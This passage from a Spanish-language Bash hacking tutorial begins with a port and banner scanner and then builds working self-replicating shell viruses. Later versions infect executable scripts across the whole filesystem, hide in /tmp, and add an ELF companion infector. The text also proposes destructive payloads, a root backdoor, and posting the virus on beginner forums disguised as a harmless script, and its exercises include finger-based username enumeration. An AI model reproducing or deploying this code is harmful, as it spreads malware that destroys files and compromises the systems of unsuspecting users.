echo "-> Puerto telnet abierto en "$ip"."
else
echo "-> Puerto telnet cerrado en "$ip"."
fi

telnet $ip 25 2>/dev/null > /tmp/sscanner25.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner25.$$ > /dev/null)
then
echo "-> Puerto smtp abierto en "$ip"."
else
echo "-> Puerto smtp cerrado en "$ip"."
fi

telnet $ip 53 2>/dev/null > /tmp/sscanner53.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner53.$$ > /dev/null)
then
echo "-> Puerto dns abierto en "$ip"."
else
echo "-> Puerto dns cerrado en "$ip"."
fi

telnet $ip 79 2>/dev/null > /tmp/sscanner79.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner79.$$ > /dev/null)
then
echo "-> Puerto finger abierto en "$ip"."
else
echo "-> Puerto finger cerrado en "$ip"."
fi

telnet $ip 80 2>/dev/null > /tmp/sscanner80.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner80.$$ > /dev/null)
then
echo "-> Puerto http abierto en "$ip"."
else
echo "-> Puerto http cerrado en "$ip"."
fi

telnet $ip 110 2>/dev/null > /tmp/sscanner110.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner110.$$ > /dev/null)
then
echo "-> Puerto pop3 abierto en "$ip"."
else
echo "-> Puerto pop3 cerrado en "$ip"."
fi

telnet $ip 139 2>/dev/null > /tmp/sscanner139.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner139.$$ > /dev/null)
then
echo "-> Puerto netbios abierto en "$ip"."
else
echo "-> Puerto netbios cerrado en "$ip"."
fi

telnet $ip 143 2>/dev/null > /tmp/sscanner143.$$ &


sleep 2
if(grep "Connected to $ip." /tmp/sscanner143.$$ > /dev/null)
then
echo "-> Puerto imap abierto en "$ip"."
else
echo "-> Puerto imap cerrado en "$ip"."
fi

rm /tmp/sscanner*
}

function opsys()
{
ttl=`ping -c 1 $ip | sed -n 2p | awk '{ print $6'} | awk
'BEGIN {FS = "="} END {print $2}'`
case "$ttl" in
30) echo " Sistema operativo: DC-OSx";;
32) echo " Sistema operativo: Windows 9x/NT";;
54) echo " Sistema operativo: NetApp";;
59) echo " Sistema operativo: HPJetDirect";;
60) echo " Posibles sistemas operativos: AIX 4.3.x
AIX 4.2.x
Cisco 11.2
DigitalUnix 4.0
IRIX 6.x
OS390 2.6
Reliant 5.43";;
64) echo " Posibles sistemas operativos: FreeBSD 3.x
JetDirecit G.07.x
Linux 2.2.x/2.4.x
OpenBSD 2.x
OS/400 R4.4
SCO R5
Solaris 8
FTX(UNIX) 3.3
Unisys";;
128) echo " Posibles sistemas operativos: Netware 4.11
Windows 9x/NT
Windows 2000";;
255) echo " Posibles sistemas operativos: Cisco 12.0
Solaris 2.x";;
esac
}

function banner()
{
trap 'rm /tmp/sscanner*; exit 1' 1 2 15

nc $ip 21 2>/dev/null > /tmp/sscanner21.$$ &


sleep 2
if(grep "FTP" /tmp/sscanner21.$$ > /dev/null)
then
echo "-> Puerto ftp abierto en "$ip"."
cat /tmp/sscanner21.$$
else
echo "-> Puerto ftp cerrado en "$ip"."
fi

nc $ip 22 2>/dev/null > /tmp/sscanner22.$$ &


sleep 2
if(grep "SSH" /tmp/sscanner22.$$ > /dev/null)
then
echo "-> Puerto ssh abierto en "$ip"."
cat /tmp/sscanner22.$$
else
echo "-> Puerto ssh cerrado en "$ip"."
fi

nc -t $ip 23 2>/dev/null > /tmp/sscanner23.$$ &


sleep 2
if(grep "login" /tmp/sscanner23.$$ > /dev/null)
then
echo "-> Puerto telnet abierto en "$ip"."
cat /tmp/sscanner23.$$
else
echo "-> Puerto telnet cerrado en "$ip"."
fi

nc $ip 25 2>/dev/null > /tmp/sscanner25.$$ &


sleep 2
if(grep "SMTP" /tmp/sscanner25.$$ > /dev/null)
then
echo "-> Puerto smtp abierto en "$ip"."
cat /tmp/sscanner25.$$
else
echo "-> Puerto smtp cerrado en "$ip"."
fi

nc $ip 110 2>/dev/null > /tmp/sscanner110.$$ &


sleep 2
if(grep "POP" /tmp/sscanner110.$$ > /dev/null)
then
echo "-> Puerto pop3 abierto en "$ip"."
cat /tmp/sscanner110.$$
else
echo "-> Puerto pop3 cerrado en "$ip"."
fi
nc $ip 143 2>/dev/null > /tmp/sscanner143.$$ &
sleep 2
if(grep "IMAP" /tmp/sscanner143.$$ > /dev/null)
then
echo "-> Puerto imap abierto en "$ip"."
cat /tmp/sscanner143.$$
else
echo "-> Puerto imap cerrado en "$ip"."
fi

rm /tmp/sscanner*
}

if [ ! $# == 2 ]
then
uso;
exit;
fi

ip="$2"

if [ "$1" == "-h" ]
then
mensaje;
uso;
exit
fi

if [ "$1" == "-s" ]
then
mensaje;
simple;
exit
fi

if [ "$1" == "-o" ]
then
mensaje;
opsys;
exit
fi

if [ "$1" == "-b" ]
then
mensaje;
banner;
exit
fi

Hemos ordenado el código en funciones y agregado los puertos que el


scanner tomará en nuestra versión definitiva, la cual ustedes pueden
y deberán ampliar ;). Pasemos a un último repaso general…
Analizando el código de arriba hacia abajo, primero encontramos una
función con un simpático mensaje de los creadores del programa,
quienes se encuentran unidos por envidiable cariño 8). La segunda
función se refiere al uso del programa y se usará cuando se reciban
parámetros inválidos o la opción “-h”.

Posteriormente está la función que realizará el escaneo simple, más


adelante la función que intentará revelar el sistema operativo y por
último la función de escaneo de banners, en la cual no hemos incluido
algunos puertos (como por ejemplo el 79) debido a que no devuelven
un mensaje a menos que enviemos datos al servidor, situación que
por ahora (y hasta que lleguen los prácticos) no me preocupa :P.

El contenido de los bloques ha sido explicado y lo único nuevo fue


ordenarlos así que hasta acá todo debería estar claro.

Finalmente y como controlador de flujo nos encontramos con lo que


podríamos denominar “patatrac” :B, el cual se utilizará para llamar a
las funciones que correspondan según el resultado de procesar los
parámetros ingresados por el usuario.

El primer “if” hará que el programa muestre su manual de uso si el


usuario no le pasa los dos parámetros obligatorios…

1-Una opción.
2-El host a escanear.

Superado el primer “if” se ejecutará, según el segundo parámetro


pasado por el usuario, la función que corresponda al escaneo elegido.

Concluyendo, hemos comprendido como se desarrollan los programas


en Bash así como que trabajando sobre cosas simples podemos lograr
cosas complejas.

Considero que la incapacidad más notoria de nuestro programa es la


detección del sistema operativo, la cual no distinguirá entre sistemas
iguales que responden a distintos TTLs, dejándonos para el futuro la
investigación que resulte en una tabla más precisa.

Como he comentado y estudiaremos en el futuro, uno de los métodos


de detección de sistemas operativos más avanzado es el utilizado por
“nmap”, el cual se basa en leer las cabeceras de las respuestas a los
distintos tipos de paquetes enviados, analizando los patrones que los
identifican.

5º Shell Viruxes

Virus en el Shell?¿, virus en Linux?¿… pero claaaaaaaa muñaño ;).


Entiéndanmeee, la creencia popular de que GNU/Linux es inmune a
virus informáticos es una deformidad!… un virus es un programa y lo
peor de todo es que al ser creados por gente que sabe, suelen utilizar
los recursos y funciones del sistema de forma óptima y corren mucho
mejor que las mayoría de los programas por los que suelen pagar.

Pero entonces, por qué no existen tantos virus como en Winduus?¿.,


además del tema de que Winboobs está más distribuido al nivel Uds.,
Unix dispone de cierta seguridad en los archivos inexistente en los
sistemas Mictosoft VVindougs. Aparte de esto, es poco lo que se
puede hacer en Unix siendo un usuario sin privilegios, no en cambio
en el otro, donde escalar es cuestión de tirar la piolita y que te suban.

A pesar de esto, no siempre se necesitan privilegios de adminsitrador


para realizar actividades víricas en un sistema Unix, todo dependerá
de las herramientas con las que se cuenta y el objetivo planteado.

A medida que GNU/Linux se extiende a nuevos usuarios con poca o


ninguna experiencia (con gran colaboración de ubuntu), aparecen PCs
potentes administradas por incompetentes :B.

Esto le genera un nuevo campo a los escritores de virus, para quienes


es igual de sencillo hacer que un usuario sin experiencia en Windous
ejecute un virus como que otro igual en GNU/Linux lo haga.

La creencia popular también indica que los programas en GNU/Linux


son descargados con el código fuente a la vista y cualquier persona
puede verificar que el código no tenga posibles troyanos o virus.

Esto es totalmente cierto pero lejos de la realidad… Tanto ustedes


como nosotros, instalaremos muchísimos más que un paquete bajado
desde Inet sin inspeccionar ni una mínima parte del código fuente.

Además, necesitaremos muchos conocimientos para auditar el código


de un programa “mediano” a “grande” y aun así existen técnicas muy
avanzadas que pueden ocular código vírico de forma tal que sería casi
imposible de encontrar para nosotros, o mejor dicho para Uds. >).

Uno de los creadores de unix (Ken Thompson), explica este problema


en gran detalle: “Uno no puede confiar en código escrito por otra
persona que no sea Ud. mismo o una en la cual confía y mucho”.

En su explicación, Thompson actualiza intencionalmente el código del


compilador “C” para modificar el binario “login” utilizado en todo Unix
para entrar al sistema.
En este caso el binario “login” fue modificado para aceptar la entrada
al sistema a un usuario y password determinado por Thompson en
todo equipo con esa versión de su compilador.

Estamos hablando del creador de unix, a darse cuenta de que no se


puede confiar en nadie :)…

Cuanta gente desarrolla para GNU/Linux actualmente?¿, infinitos?¿, y


cuantos programadores tendrá Microfost?¿, bastantes?¿ aunque no
tantos como GNU/Linux supongo :B.

Bueno, pues en cada compañía se contratan muchos programadores


como Thompson, siendo ellos quienes realmente deciden que es lo
que pasa en nuestras computadoras.

Con la realidad sobre la mesa y siguiendo en nuestro tema, podemos


decir que hasta ahora un virus Bash en el shell de Linux es un tema
que corrompa la seguridad de los sistemas y lo cierto es que para un
administrador con experiencia no será difícil tratar con ellos, no
obstante y como quise notar, la popularidad de los sistemas unix para
PC (que considero positiva) atraen muchas víctimas inexpertas.

En un entorno de usuarios inexpertos, la posibilidad de que un virus


se extienda, infecte a otros programas y permanezca residente en el
sistema es preocupantemente alta, aunque lamentablemente para los
creadores de virus la capacidad del mismo virus para extenderse a
otros sistemas es mucho más reducida que en Windows, ya que como
primer contrapunto los exploits remotos no son tan genéricos ni
corrientes… aunque en realidad aquí ya hablaríamos de gusanos.

Comenzando la emoción pasemos a ver las distintas técnicas víricas


que se utilizan al programar en bash (siempre con fines culturales) :).

Para aprovechar mejor el tiempo que dedicaremos al tema y evitar


malas interpretaciones hablaré poco del payload del virus, quedando
totalmente a su imaginación e investigación, concentrándonos más en
las técnicas de infección y convivencia con el SO, o sea las que se
utilizan para que conviva el mayor tiempo posible.

Nota: Payload es la carga del virus, o sea su funcionalidad u objetivo.

Un virus es generalmente conocido por su payload y no por sus


métodos de infección, esparcimiento, ocultación, etc… Por ejemplo en
un virus que va por todo el sistema de archivos una posible carga
puede ser “rm *”.
Para trabajar utilizaremos los comandos y técnicas de programación
vistas hasta ahora, además de que prometo algún conceptito nuevo,
intentando explicarlo de la mejor forma que me sea posible ;).

No tengan miedo y tomen su shell, crearemos un pequeño script que


sobrescribe los archivos en el directorio actual con nuestro primer
código vírico, “1.bash”…

##################
# sobreescritura #
##################
for archivo in *
do
cp $0 $archivo
done

Sencillo verdad?¿, siempre en un ambiente seguro (pueden tener un


usuario especialmente para esto) creamos varios archivos de prueba
y le damos permisos de ejecución al virus…

bash-2.05b$ touch estilista


bash-2.05b$ touch peluquero
bash-2.05b$ chmod u+x 1.bash
bash-2.05b$ ls -l
total 4
-rwxr--r-- 1 frode users 99 2005-08-26 15:49 1.bash
-rw-r--r-- 1 frode users 0 2005-08-26 15:49 estilista
-rw-r--r-- 1 frode users 0 2005-08-26 15:49 peluquero

Si desean pueden agregar contenido a los archivos para notar como


luego de ejecutado el virus se sobrescribirá.

Lo que hace nuestro bichito es muy sencillo, el “for” nos dice que por
cada archivo en el directorio actual (*), copie el primer argumento
($0) o sea el virus, en el archivo.

bash-2.05b$ ./1.bash
cp: `./1.bash' and `1.bash' are the same file
bash-2.05b$ cat estilista
##################
# sobreescritura #
##################
for archivo in *
do
cp $0 $archivo
done

Vemos que además de haber funcionado correctamente, el comando


“cp” nos muestra una advertencia que indica que estamos intentando
copiar el contenido de un archivo en el mismo archivo.
Ya saben como hacer para redireccionar la salida de un comando a la
basura, por lo que usarán “/dev/null” para solucionar este detalle.

El primer error de este código (sin contar el mensaje antedicho), es


que debería infectar únicamente archivos ejecutables, pues no tiene
sentido contaminar archivos de texto que nunca serán ejecutados, lo
cual únicamente llamaría la atención y extinguiría su propagación.

Aun no sabemos como manejar binarios compilados así que nuestro


objetivo estaría en scripts bash. Como sabemos, una característica de
los scripts bash es el “#!/bin/bash” con el que inician.

Si bien no es absolutamente necesario incluirlo es una costumbre que


se suele aplicar a los scripts.

El porque es sencillo… cuando programamos un script lo hacemos


para determinado shell (según nuestra necesidad), si en el script
usamos comandos estándar no pasará nada, pero si utilizamos
comandos específicos de determinado shell, omitir este comentario
podría ser catastrófico.

Concluyendo, la cadena “#!/bin/bash” es buen patrón para identificar


un script bash. Otro menos seguro es la cadena “echo”, que pese a
estar presente en casi cualquier script, también se utiliza en otros
lenguajes, por lo que no sería una alternativa confiable y tendría altas
chances de jugarnos en contra.

Otra posibilidad es el comando “file”, aunque este tampoco es 100%


confiable dado a que si no se encuentra el comentario “#!/bin/bash”,
“file” pensará que es un simple archivo de texto y lo omitirá.

Bueno, como cada maestro trae su librito, yo les presento a “2.bash”


de la siguiente forma…

######################################
# sobreescritura con algunos chekeos #
######################################
for archivo in *
do
if test -f $archivo # comprobamos que se trata de un archivo
then
if test -x $archivo # comprobamos que sea ejecutable
then
if test -w $archivo # comprobamos tener permisos de escritura
then
if grep -s '#!/bin/bash' $archivo > /dev/null # busca el patron
then
cp $0 $archivo
fi;
fi;
fi;
fi;
done

Para comprobarlo creamos el siguiente archivo “soquete.bash”…

#!/bin/bash
ls -l;

Le damos permisos de ejecución y corremos “2.bash”. Como pueden


ver este fue el único archivo que logró pasar nuestros chequeos y por
ende, se sobrescribió.

Nuestro siguiente inconveniente está en que un virus de sobrescritura


hace que el script infectado se borre, dejándolo al descubierto apenas
un usuario desee utilizar un archivo infectado.

Existen 2 técnicas bien conocidas en la escena vírica para superar


este inconveniente, una llamada “prepending” (insertar el código al
comienzo del archivo huésped) y otra llamada “postpending” (insertar
el código vírico al final del huésped).

Cada una tiene pros y contras, estando en el atacante la decisión de


cual utilizar, y en nosotros, inofensivos angelitos, el descubrirlo 0:D.

Cualquiera sea la opción seleccionada debemos tener muy claro el


funcionamiento de los comandos “tail” y “head”. Cómo se utilizan al
beneficio vírico?¿, veamos “3.bash”…

####################
# virus prepending #
####################
for archivo in *
do
if test -f $archivo # comprobamos que se trata de un archivo
then
if test -x $archivo # comprobamos que sea ejecutable
then
if test -w $archivo # comprobamos tener permisos de escritura
then
if grep -s '#!/bin/bash' $archivo > /dev/null # busca el patron
then
head -21 $0 > temporal
cat $archivo >> temporal
mv temporal $archivo
fi;
fi;
fi;
fi
done
Lo nuevo y descabellado es el uso del comando “head”, con el cual se
copiarán las primeras 21 líneas del virus (si cuentan verán que tiene
21) a un archivo temporal para procesarlo y dejarlo al inicio del script
que infectará, los más inteligentes ya le habrá encontrado la lógica.

Es verdad que sería un poco más seguro (aunque siga apareciendo y


desapareciendo) llamarlo “.temporal” y así al menos dejarlo oculto a
la vista de un ser normal, no sea cosa que la ley lo vea y descubra.

Entonces, tomado “$archivo” (la variable con el archivo que cumplió


con todos los chequeos), volcamos su contenido en “temporal”, pero
atención: esto será al final, gracias al caracter de redirección “>>”.

Finalmente se sobrescribe el “$archivo” con el contenido “temporal”,


dejándolo con sorpresa y sin ningún rastro “tamporal” :P.

La técnica prepending tiene varios inconvenientes. El primero es que


es muy fácil que el código vírico sea detectado ya que estará a simple
vista (al comienzo del archivo huésped).

El siguiente (aunque no tan drástico) es el tema del archivo temporal,


el cual hace que el proceso de infección sea lento ya que debe crear
un archivo en el disco, después acceder y finalmente moverlo.

Además (en un extraño caso fortuito), imaginen que 2 usuarios desde


consolas diferentes corran “$archivo”… los 2 estarán metiendo datos
en “temporal” pero solo uno logrará el objetivo, mientras que el otro
conseguirá un error y en consecuencia tendremos una alerta.

Antes de pasar a la técnica postpending, si me permiten me gustaría


solucionar un problema independiente a las 2 técnicas de infección.

Si analizan el código de del virus “3.bash” notarán que este también


será infectado, es decir que el código maligno se encontrará en el
propio virus tantas veces como se ejecute el virus. Del mismo modo
sucederá con todos los archivos previamente infectados, al ejecutarse
nuevamente aparecerá el código vírico repetido entre sus líneas.

Para superar este obstáculo existe una técnica también conocida en la


escena, se trata de hacer una “marca vírica”, la cual indicará que
determinado archivo ya contiene el virus y por lo tanto no se deberá
copiar nuevamente.

Veamos la mutación “4.bash”, la cual cumple la nueva norma…

# SoyunAlumno
for archivo in *
do
if test -f $archivo
then
if test -x $archivo
then
if test -w $archivo
then
if grep -s '#!/bin/bash' $archivo > /dev/null
then
if ! grep -s SoyunAlumno $archivo > /dev/null
then
head -22 $0 > temporal
cat $archivo >> temporal
mv temporal $archivo
fi;
fi;
fi;
fi;
fi
done

Como ven solucionamos el asunto y “SoyunAlumno” es nuestra marca


vírica.

Lógicamente que una marca no debe elegirse de forma simple y será


importante cerciorarse que no sea algo común dentro de los archivos,
como por ejemplo “echo” :B.

Muy interesante pero tenemos más que aprender, pasemos ahora al


postpending, cuyo funcionamiento es parecido al primer caso aunque
el código se pega pegue al final.

La gran ventaja de quienes usan esta técnica radica en que el código


vírico será más difícil de encontrar, mientras que la gran desventaja
será que el código vírico corre el riesgo de no ser ejecutado.

Como ya sabemos bash posee la llamada a “exit()”, cuya función es


cortar la ejecución de un programa y volver al shell tras detectar
determinada situación predefinida.

Si bien no es común que los scripts utilicen esta función hay que ser
cuidadosos porque ante una situación como esta el código malicioso
no se ejecutará.

Existen varias formas de lograr un postpending, nosotros usaremos


una modificación en el código actual que dará como resultado el
siguiente “5.bash”…

# SoyunAlumno
for archivo in *
do
if test -f $archivo
then
if test -x $archivo
then
if test -w $archivo
then
if grep -s '#!/bin/bash' $archivo > /dev/null
then
if ! grep -s SoyunAlumno $archivo > /dev/null
then
cat $archivo > temporal
tail -n 22 $0 >> temporal
mv temporal $archivo
fi;
fi;
fi;
fi;
fi
done

Muy simple verdad?¿, los únicos cambios fueron utilizar “tail” en lugar
de “head” y alternar el orden de los archivos.

Si son un poco observadores habrán notado que (desde las versiones


anteriores) al momento de mover desde temporal al archivo original
estamos perdiendo los atributos del archivo original ;).

Como siempre varias pueden ser las salvaciones y cada uno tomará
la opción que mas le guste. Una será darle los permisos originales a
mano, aunque de antemano no podremos saber si el archivo es
ejecutable para el usuario, el grupo, otros, etc…

Luego de consultar mi librito decidí que la solución más simple será


cambiar “mv” por “cp”, el cual mantendrá los permisos del huésped,
con la desventaja de dejarnos a “temporal” en el directorio. Veamos
como queda “6.bash”…

# SoyunAlumno
for archivo in *
do
if test -f $archivo
then
if test -x $archivo
then
if test -w $archivo
then
if grep -s '#!/bin/bash' $archivo > /dev/null
then
if ! grep -s SoyunAlumno $archivo > /dev/null
then
cat $archivo > temporal
tail -n 23 $0 >> temporal
cp temporal $archivo
fi;
fi;
fi;
fi;
fi
done
rm temporal

Con todos los problemas planteados resueltos, es momento de tratar


de mejorar la capacidad reproductiva de la criatura, la cual hasta
ahora solo trabaja en el directorio actual, con pocas posibilidades de
supervivencia.

Dicho esto el nuevo objetivo es conseguir que el virus se reproduzca


por el sistema de archivos, copiándose a todos y cada uno de los
programas Bash que se encuentren a su alcance.

Para esto tendremos en cuenta que además de la capacidad y límite


inicial, el código vírico ampliará sus horizontes cada vez que sea
ejecutado por otro usuario del sistema, porque un archivo ejecutado
por otro usuario trabaja con un campo de acción diferente, pudiendo
acceder a directorios a los que con los permisos del usuario anterior
no podía.

Incluso el administrador podría llegar a ejecutar el virus, lo cual le


daría un alcance prácticamente ilimitado y nos llama a una reflexión
que concluye con que… puede que en un caso así queramos hacer
algo especial, algo que vive a la imaginación de cada uno ;).

Para no ser tan ortiva y en contra de mis declaraciones iniciales, más


adelante les daré algún ejemplo sencillo de payload, lo cual cada uno
adecuará según sus intereses didácticos.

Siguiendo con lo nuestro… Cómo hacemos para que el virus recorra el


sistema de archivos en busca de posibles archivos víctima?¿.

Varias son las posibilidades, una de ellas sería buscar en archivos


predeterminados como “/etc”, lo cual no es la mejor opción ya que
estamos acotando enormemente el campo de acción. Otra posibilidad
es dotarlo con una función que recorra cada directorio comenzando
en “/”, mucho mejor verdad?¿. Esta técnica es conocida como
“directory trasversal” y será muy efectiva para el propósito.

A pesar de que su reciente idea fue genial (como siempre) se les han
adelantado (como siempre :P), brindándonos el comando “find”, con
el cual haremos un “directory trasversal” muy configurable.

Antes de incluir el “find” en el virus repasemos su funcionamiento…

bash-2.05b$ find / -type l -exec bash -c \ "echo joj0jo!" \;


Este comando buscará links simbólicos en todo el árbol de directorios
y ejecutará el “echo” colocado mediante la opción “–c” cada vez que
encuentre una coincidencia.

Noten que el comando especificado mediante el parámetro “-c” debe


estar así: \ "comando" \;.

Al trabajar con “find” podremos referirnos al elemento que se está


procesando en el momento mediante el uso de dos corchetes “{}”.

Como a nosotros nos interesan únicamente los archivos ejecutables


sobre los cuales tenemos determinados permisos nos valdremos de la
opción “-perms” para filtrar los resultados según este criterio. Esto se
implementaría más o menos así…

find / -type f -perm +111 -exec bash -c \


"if test -f {}

....
/* cuerpo del virus */
....

... " \;

Como pueden apreciar buscará en todo el árbol los archivos con


permisos de ejecución, descartando el “for” situado al comienzo de la
versión anterior, conozcamos a “7.bash”…

# SoyunAlumno
find / -type f -perm +111 -exec bash -c \
"if test -f {}
then
if test -x {}
then
if test -w {}
then
if grep -s '#!/bin/bash' {} > /dev/null
then
if ! grep -s SoyunAlumno {} > /dev/null
then
cat {} > temporal
tail -n 21 $0 >> temporal
cp temporal {}
fi;
fi;
fi;
fi;
fi" \;
rm temporal

Llegados hasta aquí podemos comprender que estas pocas líneas de


código bash conforman un verdadero peligro potencial para sistemas
unix, ya que bash está presente en la mayoría de los unixes actuales
y por lo tanto lo convierte en un virus multiplataforma.

Por supuesto que quedan muchos detalles por arreglar pero esto es
sin lugar a dudas un virus.

Un inconveniente que no podemos pasar por alto es el hecho de que


el comando “find” buscará archivos en todo el árbol de directorios, lo
cual lleva un poco mucho tiempo :B.

Supongamos que hemos infectado un script y que un usuario legítimo


del sistema lo ejecuta. El usuario que utiliza su script regularmente
sabe que este no demora en ser procesado, provocando que “find”
resulte en una espera que lo vuelva evidente y despierte sospechas
en el usuario.

Como ya se habrán imaginado podríamos valernos de la posibilidad


de agregar un simple “&” al final del comando “find” para que este
sea ejecutado en modo background.

Pese a que por ahí va la movida esta no es la solución al problema ya


que al ejecutar el cuerpo del virus en modo background el sistema no
esperará a que finalice su ejecución para seguir con el siguiente
comando, en nuestro caso un “rm temporal” y como “temporal” aun
no existe nuestro virus fallará.

Es por esto que la solución será jugar con el background y con los
archivos temporales, conozcamos a “8.bash”…

# SoyunAlumno
tail -n 22 $0 > /tmp/temporal; grep -v temporal2 /tmp/temporal >
/tmp/temporal2
chmod u+x /tmp/temporal2; (/tmp/temporal2 &); exit 0
find / -type f -perm +111 -exec bash -c \
"if test -f {}
then
if test -x {}
then
if test -w {}
then
if grep -s '#!/bin/bash' {} > /dev/null
then
if ! grep -s SoyunAlumno {} > /dev/null
then
cat /tmp/temporal >> {}
fi;
fi;
fi;
fi;
fi" \;
rm -rf /tmp/temporal
Lo primero que salta a la vista es que cambiamos el orden de las
cosas y antes de ejecutar el “find” creamos un archivo temporal en
“/tmp” (lo cual despertará menos sospechas).

Nota: el directorio “/tmp” en sistemas unix es de gran “importancia


hacker” :P, pues en el cualquiera tiene permisos de escritura, incluso
los usuarios con menos privilegios, como “nobody” por ejemplo.

Continuando, las líneas que no contengan la cadena “temporal” serán


copiadas en un archivo “temporal2” (-v en invierte concordancias).

Luego le damos permisos de ejecución a “temporal2” y lo ejecutamos


en modo background, conteniendo todo el trabajo vírico.

De este modo el “find” quedará ejecutándose en background, aunque


en realidad lo que se está ejecutando es “temporal2”, mientras que el
script original es ejecutado prácticamente sin demoras.

Existe un inconveniente con esta técnica y es que no podremos borrar


“/tmp/temporal2” en tiempo de ejecución ya que este esta siendo
ejecutado.

Mientras esto sucede se podría trabajar en esconder bien el archivo,


observando los archivos ubicados en el directorio temporal “/tmp” e
intentando simular alguno de los siempre presentes, oscureciendo el
nombre de “tmp/temporal2” para que pase desapercibido.

Sino, nombres como “-” o “…” harán que se complique la tarea del
usuario inexperto a la hora de leer el archivo o tratar de borrarlo,
sabiendo que un usuario experimentado no tendrá dificultades.

Avanzando un poco mas en el tema, nos preguntamos si solo


podremos infectar ejecutables de shell-scripting o si es posible afectar
otro tipo de binarios presentes en el sistema…

Pues los ejecutables en linux están por lo general en formato “ELF” y


la infección de binarios “ELF” es un tema que no podremos abarcar
sin el debido conocimiento de C y ASM, por suerte veremos C dentro
de unas clases ;).

Aun así existe la posibilidad de hacer algo con los ejecutables en


formato ELF desde el shell, veamos…

Tal vez hayan oído nombrar en algún momento el virus “compañero”


o “companion”.

Lo que hacía este virus era justamente acompañar a sus archivos


“huésped” (sin modificarlos). Por lo general esto se logra moviendo el
archivo original a otro archivo y escribiendo el código vírico en un
archivo con el mismo nombre que el original. Con lo cual el nuevo
ejecutable vírico deberá llamar al verdadero archivo desde alguna
parte de su código.

En un ejecutable en formato “ELF” los primeros 4 caracteres son los


siguientes “.ELF”, lo cual nos ayuda a identificar los ejecutables de
este tipo y actuar de acuerdo a ello.

Observemos el siguiente ejemplo tomado de un art ículo escrito por


Snakebyte…

for archivo in *
do
if [ -f $archivo ] && [ -x $archivo ] && [ "$(head -c4 $F
2>/dev/null )" == "ELF" ]
then
cp $archivo .$archivo -a 2>/dev/null
head -10 $0 > $archivo 2>/dev/null
fi
done
./.$(basename $0)

Amontoné los “if” en una sola línea para no usar varias y complicarles
la vida :).

En el ejemplo, luego de ciertos chequeos básicos, comprobamos si los


primeros 4 caracteres de cada archivo del directorio contienen “ELF”.

Si encuentra un objetivo copia el archivo original a uno oculto con el


mismo nombre (colocándole un punto adelante), el virus se copia al
binario original y después de terminado el ciclo ejecuta el archivo
oculto.

Hay que prestar especial cuidado en la forma de ejecutar el archivo


oculto, la forma que se ve arriba es la “correcta”.

Si lo prueban verán que los ejecutables a los que tenemos permisos


de escritura los seguimos ejecutando como se debería ya que este
ejecutable esta llamando al oculto, pero al mirar que hay dentro de
un binario infectado vemos nada más y nada menos que el código
vírico.

El comando “basename” quita la ruta al comando para que solo sea


ejecutado el comando y no la ruta entera a este.

A partir de ahora las aplicaciones son innumerables, un atacante


puede agregar este último código al virus anterior para así obtener un
virus “multipartita”, en términos de la escena vírica esto quiere decir
que puede afectar distintos tipos de archivos ;).

Con eso se puede afectar tanto scripts en bash como binarios ELF.

Y aquí hemos llegado al límite de lo que podemos lograr en cuanto a


virus en shell-scripting, para hacer algo más grande debemos de
meternos con ensamblador y C, que como ya dije falta poco.

En cuanto al payload las posibilidades son muchas y dependerán del


sistema. Lo más difícil es la propagación vírica de una computadora a
otra dado a que además, la gran mayoría de la red continua bajo
Windows.

Si el host en donde esta el virus utiliza nfs (para compartir directorios


entre redes) la cosa puede hacerse mas fácil, pero no significa nada
en concreto.

Es posible también enviar el virus por correo electrónico (utilizando


sendmail) aunque la mayoría de la gente será inmune por el simple
hecho de utilizar Windows (nunca pensaron que eso era posible! :P).

En definitiva con una carga potente y polimorfismo (ofuscación del


código vírico mediante mutaciones en variables, funciones, etc…), se
puede llegar a publicar el virus en foros de novatos diciendo que es
un script que sirve para “hackear la nasa” y hacerse con más y más
víctimas.

Respecto al payload, resta comentar (según lo prometido) que con un


poco de programación avanzada se puede hacer que cuando el root
ejecuta el virus se agregue un usuario y se abra un shell en algún
puerto alto de modo que sería utilizado como backdoor.

Floods desde distintos hosts infectados a victimas definidas pueden


tirar un servidor por mucho tiempo, aparte de que nadie sospechará
de que fue el atacante controla zombies quien lanzó el ataque inicial.

Recuerden que los pilares de Internet son computadoras con sistemas


operativos tipo Unix, un worm para este tipo de sistemas puede dejar
sin Internet a un país o a todo un continente, sean responsables :).

Esto sucedió con el worm de “Morris” lanzado en 1988, gusano que se


basaba en 3 exploits para unix de ese momento (fingerd, sendmail y
rhost).

El gusano se propagó y tiro abajo prácticamente toda la red de la


época y aunque ahora es mucho más complicado, un gusano bien
programado puede llegar a hacerlo de nuevo…
6º Prácticos

1) Realicen un programa en AWK que…

a) Cuente el número de renglones, palabras y caracteres de un


archivo.

b) Compare la salida y velocidad de su programa con “wc”.

Les sugiero que se familiaricen con la función “length(s)”, una función


predefinida que devuelve la longitud de las cadenas, así como que
utilicen las variables predefinidas “NR” y “NF”.

2) Como sabrán, la herramienta “nslookup” consutla la direccion IP


de nombres de dominio y viceversa, pues ejecuten lo siguiente…

bash-2.05b$ nslookup alumnoz.com


Note: nslookup is deprecated and may be removed from future
releases.
Consider using the `dig' or `host' programs instead. Run
nslookup with
the `-sil[ent]' option to prevent this message from appearing.
Server: 200.40.220.245
Address: 200.40.220.245#53

Non-authoritative answer:
Name: alumnoz.com
Address: 64.246.22.103

Ejercicio: Realizar un filtro para obtener solo la IP del servidor.

3) Crear un programa en AWK al cual pasándole el nombre de usuario


nos de la lista de archivos que ha utilizado durante su última sesión.

Nota: Mucho cuidado con este ejercicio… Archivos realmente usados


por dicho usuario. Pónganle cabeza ;).

4) Tomando el filtro del “Ejemplo 1” de la página 24 realizar un script


bash para decirnos la “IP” que tenemos. El programa debe aceptar 2
argumentos de la línea de comandos, uno para que nos diga la IP
interna y otro para que nos diga nuestra IP externa.

5) Luego de varios días de pensar, ir, volver, pensar, se me ocurren


unas últimas mejoras para nuestro escáner de puertos :P…

a) Valiéndonos de alguna navaja suiza, por qué no hacen que


los puertos que no nos proporcionan información sin enviar datos
(por ejemplo el 79 y 80 :P) nos den alguna respuesta interesante
(como posibles nombres de usuarios válidos en el sistema y datos del
servidor Web que utiliza)?¿ :B.

Veamos unos ejemplos interesantes que pueden ayudarlos en este


camino…

bash-2.05b$ nc localhost 79 < users.txt


Login: root Name: (null)
Directory: /root Shell: /bin/bash
